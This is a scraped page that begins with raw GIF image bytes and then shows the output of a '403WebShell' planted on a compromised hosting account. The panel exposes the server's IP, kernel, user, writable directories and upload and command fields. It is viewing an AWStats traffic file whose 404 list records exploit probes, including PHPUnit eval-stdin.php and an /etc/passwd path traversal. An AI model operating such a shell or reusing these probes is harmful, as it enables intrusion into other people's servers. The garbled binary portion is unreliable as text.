GIF89a=( �' 7IAXKgNgYvYx\%wh&h}t�h%�s%x�}9�R��&�0%� (�.��5�SD��&�a)�x5��;ͣ*ȡ&ղ)ׯ7׵<ѻ4�3�H֧KͯT��Y�aq��q��F� !� ' !� NETSCAPE2.0 , =( ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g���E�������R���E����B�� ��ȸ��D���"�Ů� �H��L��D٫D�B�����D���T���H �G��A R�ڐ |�� ٭&��E8�S�kG�A�px�a��� R2XB��E8I���6X�:vT)�~��q�賥��"F~%x� � 4#Z�0O|-4Bs�X:= Q� Sal��yXJ`GȦ|s h��K3l7�B|�$'7Jީܪ0!��D�n=�P� ����0`�R�lj����v>���5 �.69�ϸd�����nlv�9��f{���Pbx �l5}�p� ��� �3a���I�O����!ܾ���i��9��#��)p�a ޽ �{�)vm��%D~ 6f��s}Œ�D�W E�`!� �&L8x� �ܝ{)x`X/>�}m��R�*|`D�=�_ ^�5 !_&'a�O�7�c��`DCx`�¥�9�Y�F���`?��"� �n@`�} lď��@4>�d S �v�xN��"@~d��=�g�s~G��� ���ud &p8Q�)ƫlXD����A~H�ySun�j���k*D�LH�] ��C"J��Xb~ʪwSt}6K,��q�S:9ت:���l�@�`�� �.۬�t9�S�[:��=`9N����{¿�A !R�:���6��x�0�_ �;������^���#����!����U���;0L1�����p% A��U̬ݵ��%�S��!���~`�G���� ���=4�np�3���������u�u�ٮ|%2�I��r�#0��J``8�@S@5� ���^`8E�]�.�S���7 � �0�j S�D� z���i�S�����!���l��w9*�D�I�nEX��� &A�Go�Qf��F��;���}�J����F5��Q|���X��T��y���]� o ��C=��:���PB@ D׽S�(>�C�x}`��xJЬ�۠��p+eE0`�}`A �/NE�� �9@��� H�7�!%B0`�l*��!8 2�%� �:�1�0E��ux%nP1�!�C)�P81l�ɸF#Ƭ{����B0>�� �b�`��O3��()yRpb��E.ZD8�H@% �Rx+%���c� ���f��b�d�`F�"8�XH"��-�|1�6iI, 2�$+](A*j� QT�o0.�U�`�R�}`�SN����yae�����b��o~ S)�y�@��3 �tT�0�&�+~L�f"�-|�~��>!�v��~�\Q1)}@�}h#aP72�"�$ !� " , =( &7IAXG]KgNgYvYxR"k\%w]'}h}t�h%�g+�s%r.m3ax3�x�}9��&��+�!7�0%� (�.�SD��&��;�"&ײ)׻4��6�K� �@pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E �� �������E �´��C���ǶR��D��"Ʒ�ʱH��M��GڬD�B����D��T����G���C�C� l&�~:'�tU�6ɹ#��)�'�.6�&��Ȼ K(8p0N�?!�2"��NIJX>R��OM '��2�*x�>#n� �@<[:�I�f ��T���Cdb��[�}E�5MBo��@�`@��tW-3 �x�B���jI�&E�9[T&$��ﯧ&"s��ȳ����dc�UUρ#���ldj?����`\}���u|3'�R]�6 �S#�!�FKL�*N E���`$�:e�YD�q�.�촁�s \-�jA 9�����-��M[�x(�s��x�|���p��}k�T�DpE@W� ��]k`1� ���Yb ��0l��*n0��"~zBd�~u�7�0Bl��0-�x~|U�U0 �h�*HS�|��e"#"?vp�i`e6^�+q��`m8 #V�� ��VS|`��"m"сSn|@:U���~`pb�G�ED����2F�I�? >�x� R� ��%~jx��<�a�9ij�2�D��&: Z`�]w���:�6��B�7eFJ|�ҧ�,���FǮcS�ʶ+B�,�ܺN���>PAD�HD��~���n��}�#�� Q��S���2�X�{�k�lQ�2�����w�|2� h9��G�,m���3��6-��E�L��I�³*K���q�`DwV�QXS��peS��� qܧTS����R�u �<�a�*At�lmE� � ��N[P1�ۦ��$��@`��Dpy�yXvCAy�B`}D� 0QwG#� �a[^�� $���Ǧ{L�"[��K�g�;�S~��GX.�goT.��ư��x���?1z��x~:�g�|�L� ��S`��0S]P�^p F<""�?!,�!N4&P� ����:T�@h�9%t��:�-~�I<`�9p I&.)^ 40D#p@�j4�ج:�01��rܼF2oW�#Z ;$Q q  �K��Nl#29 !F@�Bh�ᏬL!XF�LHKh�.�hE&J�G��<"WN!�����Y@� >R~19J"�2,/ &.GXB%�R�9B6�W]���W�I�$��9�RE8Y� ��"�A5�Q.axB�&ة�J�! �t)K%tS-�JF b�NMxL��)�R��"���6O!TH�H� 0 !� ) , =( &AXKgNgYvYxR"k\%wh&h}h%�g+�s%r.x3�x�}9��&��+�R,�!7�0%� (�.��5��&�a)��;�"&ף*Ȳ)ׯ7׻4�3��6�H֧KͻH�T��Y��q��h� ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E$����� � ����$E$��"��D� � ������R��C��� E ��H�M��G�D� �B��ϾD��a��`1r��Ӑ�� �o~�zU!L�C'�yW�UGt����ll�0���uG�)A�s[��x� �xO%��X2�  P�n:R/��aHae+�Dm?# ǣ6�8�J�x�Di�M���j���5oQ7�- <! *�l��R2r/a!l)d� A"�E���� &� ;��c �%����b��pe~C"B���H�eF2��`8qb�t_`ur`e� w�u3��Pv�h""�`�Íx�LĹ��3� �~ֺ�:���MDfJ� �۵�W�%�S�X �؁)�@��:E��w�u�Sxb8y\m�zS��Zb�E�L��w!y(>�"w�=�|��s�d �C�W)H�cC$�L �7r.�\{)@�`@ �X�$PD `aaG:���O�72E�amn]�"Rc�x�R� &dR8`g��i�xLR!�P &d����T���i�|�_ � Qi�#�`g:��:noM� :V �)p����W&a=�e�k� j���1߲s�x�W�jal|0��B0�, \j۴:6���C ��W��|��9���zĸV {�;��n��V�m�I��.��PN� ����C��+��By�ѾHŸ:��� 7�Y�FTk�SaoaY$D�S���29R�kt� ��f� ��:��Sp�3�I��DZ� �9���g��u�*3)O��[_hv ,���Et x�BH� �[��64M@�S�M7d�l�ܶ5-��U܍��z�R3Ԭ3~ ��P��5�g: ���kN�&0�j4���#{��3S�2�K�'ợl���2K{� {۶?~m𸧠�I�nE�='����^���_�=��~�#O���'���o..�Y�n��CSO��a��K��o,���b�����{�C�� "�{�K ��w��Ozdը�:$ ���v�] A#� ���a�z)Rx׿ƥ�d``�w-�y�f�K!����|��P��=�`�(f��'Pa ��BJa%��f�%`�}F����6>��`G"�}�=�!o`�^FP�ةQ�C���`(�}\�ݮ ��$<��n@dĠE#��U�I�!� #l��9`k���'Rr��Z�NB�MF �[�+9���-�wj���8�r� ,V�h"�|�S=�G_��"E� 0i*%̲��da0mVk�):;&6p>�jK ��# �D�:�c?:R Ӭf��I-�"�<�="��7�3S��c2RW ,�8(T"P0F¡Jh�" ; 403WebShell
403Webshell
Server IP : 173.249.157.85  /  Your IP : 3.148.211.202
Web Server : Apache
System : Linux server.frogzhost.com 3.10.0-1127.19.1.el7.x86_64 #1 SMP Tue Aug 25 17:23:54 UTC 2020 x86_64
User : econtech ( 1005)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/econtech/tmp/awstats/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/econtech/tmp/awstats/awstats102021.econtechegypt.com.txt
AWSTATS DATA FILE 7.8 (build 20200416)
# If you remove this file, all statistics for date 202110 will be lost/reset.
# Last config file used to build this data file was /home/econtech/tmp/awstats/awstats.econtechegypt.com.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2014                
POS_TIME 2698                
POS_VISITOR 26020               
POS_DAY 115493              
POS_DOMAIN 3738                
POS_LOGIN 5599                
POS_ROBOT 5754                
POS_WORMS 7653                
POS_EMAILSENDER 7784                
POS_EMAILRECEIVER 7927                
POS_SESSION 116451              
POS_SIDER 116664              
POS_FILETYPES 8062                
POS_DOWNLOADS 8415                
POS_OS 8627                
POS_BROWSER 9242                
POS_SCREENSIZE 13587               
POS_UNKNOWNREFERER 13661               
POS_UNKNOWNREFERERBROWSER 14985               
POS_ORIGIN 16099               
POS_SEREFERRALS 16247               
POS_PAGEREFS 16489               
POS_SEARCHWORDS 17425               
POS_KEYWORDS 17577               
POS_MISC 2361                
POS_ERRORS 17636               
POS_CLUSTER 5455                
POS_SIDER_404 17838               
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20211101000343 561 139494 10459279758844
FirstTime 20211001000905
LastTime 20211031231911
LastUpdate 20211101121504 561 0 560 0 0
TotalVisits 2394                
TotalUnique 2016                
MonthHostsKnown 0                   
MonthHostsUnknown 2388                
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
JavascriptDisabled 0 0 0
JavaEnabled 0 0 0
RealPlayerSupport 0 0 0
FlashSupport 0 0 0
QuickTimeSupport 0 0 0
AddToFavourites 0 43 0
WindowsMediaPlayerSupport 0 0 0
DirectorSupport 0 0 0
PDFSupport 0 0 0
TotalMisc 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 141 148 6919484 397 559 83430167
1 183 288 21149953 832 916 319437460
2 167 340 25750302 599 778 177246641
3 136 141 6168437 422 584 94788138
4 126 204 10401078 384 509 98570628
5 167 399 35761667 323 423 63947954
6 292 782 82646887 478 540 148602473
7 426 1263 130344434 568 675 134210550
8 334 1058 109390754 517 751 182250269
9 528 1551 180087672 970 1104 268544302
10 534 1700 178177168 549 652 193999400
11 474 1377 136878824 590 738 200108445
12 661 1582 159529561 712 926 225005267
13 640 1475 166378511 713 798 317778603
14 569 1503 173354204 800 886 295926873
15 402 810 71731059 681 763 216790198
16 255 447 36829842 497 765 159080739
17 338 1045 89765121 518 802 191077433
18 202 329 25003392 676 851 185395308
19 228 300 30078732 465 641 91302191
20 279 377 34135110 535 825 143577925
21 196 243 14233863 516 708 115970614
22 172 221 16239516 392 545 124608204
23 190 371 25560818 501 906 129694583
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 104
eg 1961 5101 603818503
us 1372 5440 541928185
ru 1180 1358 62899354
cn 320 711 56795050
za 252 705 74996811
ua 240 243 13781635
gr 213 322 40226579
in 211 343 25110850
id 192 467 48019985
de 184 397 49304064
gb 102 196 16353657
th 86 86 4798304
ma 86 332 39507547
br 85 85 4742278
se 76 76 3724455
cl 57 57 1093178
ro 57 199 20579516
il 53 147 15075419
sc 49 49 2634028
pl 46 149 15606889
it 39 39 1887534
au 37 37 1618471
nl 33 78 7317779
ca 32 74 4900468
tr 31 232 29238779
lb 4 4 223180
rw 1 1 55762
mn 3 3 167418
ni 2 2 111590
hr 2 2 111590
kh 12 12 669540
ml 2 2 111590
ps 4 4 223180
cd 2 2 111590
pa 7 7 390598
kw 7 52 6040429
at 9 40 5818966
mg 2 2 111590
cz 13 13 725236
mo 2 2 111590
ir 23 23 1283186
ng 4 4 223180
fr 24 24 1161333
zw 7 7 390598
be 13 13 725734
kg 3 3 167352
mw 2 2 111590
sg 3 3 167352
lt 2 2 111590
bi 2 2 111590
tz 2 2 111590
ao 29 165 17121274
np 8 8 446360
sn 1 1 56194
pk 4 4 223180
ae 23 81 8628849
bg 4 4 223180
ke 12 12 669474
bo 4 4 223180
jp 1 1 55762
si 2 2 111590
kr 4 4 202727
ee 1 1 55762
ar 24 24 1272242
al 4 4 223180
ye 4 4 223180
ch 6 6 139084
hu 15 15 836958
ec 4 4 223180
qa 11 53 3761760
mu 11 42 5874794
my 10 10 557884
zz 1 1 55762
pe 8 8 446360
sk 2 2 111590
ge 6 6 334704
ly 1 1 55762
bd 20 20 1115702
iq 2 2 111590
kz 10 10 467899
az 3 3 167352
vg 1 1 32894
sy 2 2 111590
nz 7 7 273316
ph 11 11 613712
es 4 4 223048
tw 22 22 1227490
co 27 27 1506366
sa 9 9 502488
mx 12 12 669540
hk 17 59 3929112
cm 2 2 111590
eu 15 15 836892
by 23 23 1283054
lv 18 18 1004244
pt 8 8 446360
vn 20 20 1115768
ug 2 2 111590
ve 8 8 446228
dk 30 30 1673784
ba 2 2 111590
rs 2 2 111590
cr 2 2 111590
md 10 10 557752
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 44
bingbot/ 1180 127354869 20211031201101 40
Sogou[\x20]web[\x20]spider/ 894 49825700 20211031121005 4
baidu 805 84736738 20211031234603 0
Googlebot/ 542 28151593 20211031225445 53
bingpreview 417 15912830 20211031042201 0
AhrefsBot/ 415 20097021 20211031163402 71
zoominfobot 341 39284251 20211028195600 26
SeznamBot/ 275 1321264 20211031225247 129
no_user_agent 218 19482326 20211031145546 0
robot 218 24971428 20211028233526 12
spider 188 12377648 20211031044729 95
SemrushBot/ 181 2687537 20211031203705 88
Applebot/ 166 12195408 20211031010600 18
YisouSpider 147 8767750 20211030201151 6
bot[\s_+:,\.\;\/\\-] 147 1119836 20211031234923 117
DotBot/ 145 936475 20211031234452 113
Googlebot\-Image/ 101 4956230 20211030041918 0
BLEXBot/ 80 2178476 20211030070441 7
aiHitBot/ 77 3605023 20211004073310 1
crawl 59 7070803 20211016184224 0
MJ12bot/ 59 1538347 20211025043128 8
nutch 50 7017134 20211018210920 7
YandexBot/ 43 814671 20211030193059 28
Lightspeed 41 2675450 20211006230109 0
Apache\-HttpClient/ 40 2239120 20211031162524 0
Go\-http\-client/ 1 32145 20211019003655 0
Python\-urllib/ 2 56218 20211029162757 1
yandex 1 2557 20211012142707 0
CCBot/ 2 55786 20211023014749 1
curl 7 390766 20211029125131 0
CFNetwork 1 32145 20211020071551 0
unknown 20 480 20211028110557 20
YandexImages/ 2 778365 20211023000228 0
survey 1 56194 20211031092649 0
Barkrowler 39 1108852 20211023004236 2
Baiduspider/ 5 224344 20211016033328 0
Dalvik/ 7 390334 20211027143746 0
Mail\.RU_Bot/ 14 390502 20211027130029 7
Wget/ 1 32145 20211011125954 0
DuckDuckGo\-Favicons\-Bot/ 20 584486 20211031183517 0
java 1 56194 20211031030433 0
(firefox/)([0-9]\.|[0-1][0]\.) 9 446552 20211031190332 1
MegaIndex\.ru/ 37 1056045 20211005231720 1
facebookexternalhit/ 7 337188 20211023072140 1
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 14
jpg 1156 461780384 0 0
woff 388 16713448 0 0
js 3616 377365658 0 0
css 4904 175856172 0 0
eot 6 532560 0 0
ttf 1 58480 0 0
svg 7 2096920 0 0
html 2943 162890432 0 0
woff2 199 15277680 0 0
jpeg 220 85693740 0 0
php 9 506772 0 0
png 404 4636105 0 0
txt 7 526 0 0
Unknown 4094 463107488 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 3
/.well-known/pki-validation/9EFD2C4FDB8E3C31F9954CC807EBEDC8.txt 6 0 462
/.well-known/pki-validation/85FFF52D84876800DA1FAC706ACDC203.txt 1 0 64
/robots.txt 0 1 24
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 36
androidpie 104 23
macosx13 62 17
macosx9 4 4
winlong 196 158
win8 241 196
macosx15 572 60
macosx11 66 66
androidlollipop 7 7
Unknown 147 94
macosx8 4 4
win8.1 352 352
androidnougat 519 342
macosx5 1 1
win10 11733 4493
win2003 2 0
linux 769 110
macosx12 6 6
macosx6 3 3
ios_iphone 337 104
winnt 2 2
macosx10 7 7
unix 4 4
winxp 253 253
androidjellybean 22 22
macosx 71 14
win7 1430 950
macosx14 11 11
linuxubuntu 37 37
win2000 22 22
winunknown 4 4
androidoreo 156 28
macosx7 1 1
ios_ipad 1 1
android10 413 113
androidmarshmallow 70 20
android 325 111
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 200
chrome50.0.2661.102 20 20
chrome41.0.2224.3 121 121
chrome71.0.3578.98 2 2
chrome91.0.4472.106 18 18
chrome83.0.4087.0 31 31
opera9.0 3 3
opera8.01 10 10
chrome54.0 7 4
chrome94.0.4606.85 240 57
chrome73.0.3683.86 78 0
chrome74.0.3729.169 8 8
chrome70.0.3538.102 637 85
opera11.50 1 1
chrome90.0.4400.8 19 19
chrome83.0.4089.0 43 43
safari 120 23
chrome89.0.4389.105 55 13
chrome22.0.1207.1 18 18
chrome89.0.4389.114 6 6
chrome94.0.4606.61 1453 613
chrome83.0.4103.97 29 29
firefox54.0 3 3
msie7.0 11 9
safari4.0.4 1 1
chrome77.0.3865.120 1 1
firefox64.0 20 12
chrome37.0.2062.124 2 2
chrome74.0.3694.0 52 7
chrome94.0.4606.71 1710 557
chrome78.0.3904.62 2 1
chrome93.0.4577.82 224 47
netscape4.76 3 3
chrome94.0.4606.81 2246 732
chrome29.0.1547.62 1 1
firefox86.0 71 30
chrome49.0.2623.110 1 0
chrome19.0.1036.7 1 1
netscape0.91 3 3
chrome81.0.4044.138 15 7
chrome54.0.2866.71 1 1
chrome64.0.3202.697 1 1
chrome51.0.2739.4 2 2
chrome68.0.3427.1 95 6
chrome62.0.3202.94 3 3
opera69.0.3686.7 56 56
chrome83.0.4102.0 36 36
chrome17.0.963.66 1 1
msie6.0 108 108
chrome90.0.4427.0 16 16
chrome90.0.4430.86 12 12
edge18 1 1
edge15 105 14
msie11.0 170 27
chrome90.0.4430.85 312 312
chrome72.0.3626.121 52 7
chrome83.0.4103.0 42 42
chrome40.0.2214.93 1 1
chrome18.6.872.0 1 1
chrome73.0.892.85 1 1
chrome41.0.2228.0 122 122
firefox47.0 2 2
chrome45.0.2454.94 1 1
chrome83.0.4099.2 40 40
chrome83.0.4103.34 108 108
chrome75.0.3770.100 36 36
firefox92.0 253 160
chrome88.0.4324.190 8 8
chrome83.0.4098.0 45 45
chrome83.0.4103.24 99 99
chrome85.0.4183.121 24 21
chrome83.0.4103.116 54 12
chrome18.0.1025.46 1 1
msie8.0 1 1
firefox28.0 6 6
opera11.00 2 2
firefox58.0 2 2
firefox35.0 1 1
safari14.0.2 1 1
chrome92.0.4515.131 416 51
chrome91.0.4472.114 439 20
chrome92.0.4515.159 111 24
firefox46.0 2 2
chrome77.0.3865.90 2 2
safari5.0.2 1 1
chrome63.0.3239.132 37 37
chrome51.0.2704.94 2 2
firefox53.0 20 20
chrome41.0.2226.0 121 121
opera54.0.2952.54 2 2
chrome81.0.4044.129 8 8
chrome39.0.9294.1993 49 4
chrome37.0.2049.0 1 1
firefox11.0 1 1
chrome83.0.4096.0 44 44
Unknown 90 83
chrome88.0.4324.192 1 1
chrome77.0.3835.0 42 4
safari10.1.2 1 1
firefox36.0 20 20
chrome47.0.2526.106 7 7
mozilla 64 18
chrome83.0.4103.61 617 525
chrome41.0.2225.0 100 100
chrome76.0.3809.71 52 7
chrome84.0.4147.105 3 3
firefox33.0 7 7
firefox84.0 11 11
chrome75.0.8101.110 10 10
chrome66.0.3359.181 2 2
chrome63.0.3171.28 1 0
iphone 52 6
chrome39.0.2171.95 1 1
firefox17.0 1 1
chrome86.0.4240.75 53 53
chrome87.0.4280.88 87 30
safari5.0.3 3 3
chrome88.0.4240.193 7 7
chrome95.0.4638.69 25 13
msie9.0 55 9
firefox15.0 1 1
msie5.5 6 6
firefox93.0 270 154
chrome67.0.3396.99 6 6
firefox48.0 2 2
chrome46.0.2490.80 1 1
chrome90.0.4430.210 330 137
firefox91.0 405 154
chrome79.0.3945.136 424 56
chrome95.0.4638.54 982 337
netscape5.0 25 25
chrome94.0.4606.54 75 32
chrome78.0.3904.70 49 4
chrome74.0.3729.108 55 7
safari10.0 45 6
chrome62.0.3202.84 176 176
chrome80.0.3987.87 530 70
chrome64.0.3282.140 740 98
firefox57.0 3 3
chrome49.0.2656.18 1 1
chrome51.0.2704.103 1 0
chrome74.0.3729.136 1 1
firefox25.0 1 1
chrome40.0.2214.115 1 1
chrome83.0.4103.44 38 38
firefox72.0 8 8
chrome93.0.4577.63 5 1
firefox22.0 1 1
chrome80.0.3987 1 1
chrome78.0.3904.108 7 3
chrome82.0.9606.104 1 1
firefox62.0 1 1
opera54.0.2952.71 4 4
safari11.0.2 1 1
chrome73.0.2762.52 1 1
chrome35.0.1916.47 4 4
chrome70.0.3538.657 1 0
safari5.1 2 2
chrome72.0.3626.109 458 105
firefox79.0 7 7
firefox83.0 4 4
chrome68.0.3440.106 6 6
chrome73.0.3683.90 6 6
safari13.1.2 1 1
netscape4.61 3 3
chrome80.0.3987.149 8 8
firefox59.0 2 2
safari14.1.2 16 2
chrome20.0.1090.0 1 1
chrome52.0.2776.17 2 2
chrome83.0.4086.0 87 87
chrome89.0.4389.72 2 2
chrome90.0.4430.72 268 268
chrome65.0.3298.4 1 1
chrome83.0.4093.3 88 88
chrome69.0.3451.0 1 1
chrome79.0.3945.130 345 66
safari11.0 33 6
chrome91.0.4472.77 1 1
chrome41.0.2227.1 130 130
chrome95.0.4638.50 44 4
safari14.0.3 1 1
edge16 4 4
opera60.0.3255.83 1 1
firefox15.0.1 1 1
opera53.0.2907.68 2 2
chrome76.0.3809.100 1 1
chrome79.0.3945.74 1 1
msie5.0 1 1
chrome58.0.3029.110 52 7
chrome90.0.4430.93 171 171
chrome24.0.1309.0 1 1
chrome56.0.2970.23 2 2
firefox60.0 1 1
chrome89.0.4389.90 2 2
chrome83.0.4100.3 49 49
chrome83.0.4103.14 44 44
opera8.50 2 2
firefox81.0 8 8
safari15.0 168 72
safari14.1.1 47 4
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 23
WordPress.com;_http://www.econtechegypt.com 20211018064618
Sectigo_DCV 20211030002511
okhttp/3.3.1 20211028085128
python-requests/2.26.0 20211031231911
Mozilla/5.0_(compatible;_CensysInspect/1.1;__https://about.censys.io/) 20211022071051
node-fetch/1.0_(_https://github.com/bitinn/node-fetch) 20211025134816
GRequests/0.10 20211030032024
WhatsApp/2.21.100.15_i 20211027080005
Mozilla/5.0_Firefox/35.0 20211031205225
Mozilla/5.0_(compatible;_Dataprovider.com) 20211013022912
python-requests/2.25.1 20211028120844
Expanse_indexes_the_network_perimeters_of_our_customers._If_you_have_any_questions_or_concerns,_please_reach_out_to:_scaninfo@expanseinc.com 20211027044356
ALittle_Client 20211018234605
COMODO_DCV 20211030002507
Mozilla/4.0_(compatible;_ms-office;_MSOffice_16) 20211016123952
SEMrushBot 20211029105848
CATExplorador/1.0beta_(sistemes_at_domini_dot_cat;_http://domini.cat/catexplorador.html) 20211031074310
Python/3.7_aiohttp/3.7.3 20211002005008
NetSystemsResearch_studies_the_availability_of_various_services_across_the_internet._Our_website_is_netsystemsresearch.com 20211030182243
python-requests/2.24.0 20211020105126
python-requests/2.22.0 20211025181450
WhatsApp/2.21.181.1_i 20211004153644
User-Agent\ 20211010051224
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 20
User-Agent\ 20211010051224
WhatsApp/2.21.181.1_i 20211004153644
python-requests/2.24.0 20211020105126
NetSystemsResearch_studies_the_availability_of_various_services_across_the_internet._Our_website_is_netsystemsresearch.com 20211030182243
python-requests/2.22.0 20211025181450
CATExplorador/1.0beta_(sistemes_at_domini_dot_cat;_http://domini.cat/catexplorador.html) 20211031074310
SEMrushBot 20211029105848
ALittle_Client 20211018234605
COMODO_DCV 20211030002507
Python/3.7_aiohttp/3.7.3 20211002005008
Microsoft_Office_Excel_2014 20211028094457
WhatsApp/2.21.100.15_i 20211027080005
Expanse_indexes_the_network_perimeters_of_our_customers._If_you_have_any_questions_or_concerns,_please_reach_out_to:_scaninfo@expanseinc.com 20211027044356
python-requests/2.25.1 20211028120844
python-requests/2.26.0 20211031231911
WordPress.com;_http://www.econtechegypt.com 20211018064618
Sectigo_DCV 20211030002511
okhttp/3.3.1 20211028085128
node-fetch/1.0_(_https://github.com/bitinn/node-fetch) 20211025134816
GRequests/0.10 20211030032024
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 969 1077
From1 8 8
From2 119 122
From3 78 78
From4 6466 16669
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 5
www_google_co_za 1 1
www_google_com_eg 1 1
www_google_com 114 114
www_bing_com 2 2
google_com 1 4
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 26
https://actisens.net 7 7
https://phmetr.ru 6 6
https://www.glazovmash.ru 6 6
https://commonit.biz 6 6
https://webtechsurvey.com/website/econtechegypt.com 4 4
https://dverimegapolis.ru 3 3
https://bioscorp.ru 3 3
https://www.zim23.ru 3 3
https://18ps.ru 3 3
https://rezlaser.ru 3 3
http://kinozapas.cx 3 3
https://antonsimakin.ru 3 3
https://adaz.xyz 3 3
https://skraftix.ru 3 3
https://jobgirl24.ru 3 3
https://mindlinkstudio.com 3 3
https://agroprom18.ru 3 3
https://mentefeliz.info 3 3
https://l.facebook.com 2 2
http://www.140online.com 2 2
http://srchs.com 1 1
https://gamesell.ru 1 1
http://lab.onsec.ru 1 1
https://\xf1\xf2\xf0\xe0\xf5\xee\xe2\xe0\xed\xe8\xe5-\xee\xf1\xe0\xe3\xee-\xee\xed\xeb\xe0\xe9\xed.\xf0\xf4 1 1
https://bongacams10.com/track 1 1
https://lm.facebook.com 1 1
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 8
404 513 760266
403 18 223048
206 51 10640566
302 1313 458048
500 7115 3409173516
301 553 139843
405 1032 252598334
419 1 1518
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 168
/static/home/js/rooms.js 1 -
/wp-content/plugins/woocommerce-products-filter/lib/simple-ajax-uploader/action.php 1 -
/portcat/hvac/page/3 2 -
/Public/uploads/web/step1.png 1 -
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 188 -
/wp-content/uploads/2021/10 7 -
/assets/../../../../etc/passwd 2 -
/wp-content/plugins/downloads-manager/img/unlock.gif 1 -
/wp-content/plugins/fancy-product-designer/inc/custom-image-handler.php 7 econtechegypt.com
/wp-includes/js/jquery/jquery.js 2 -
/wp-content/plugins/armember/js/dismiss_admin_notice.js 1 econtechegypt.com
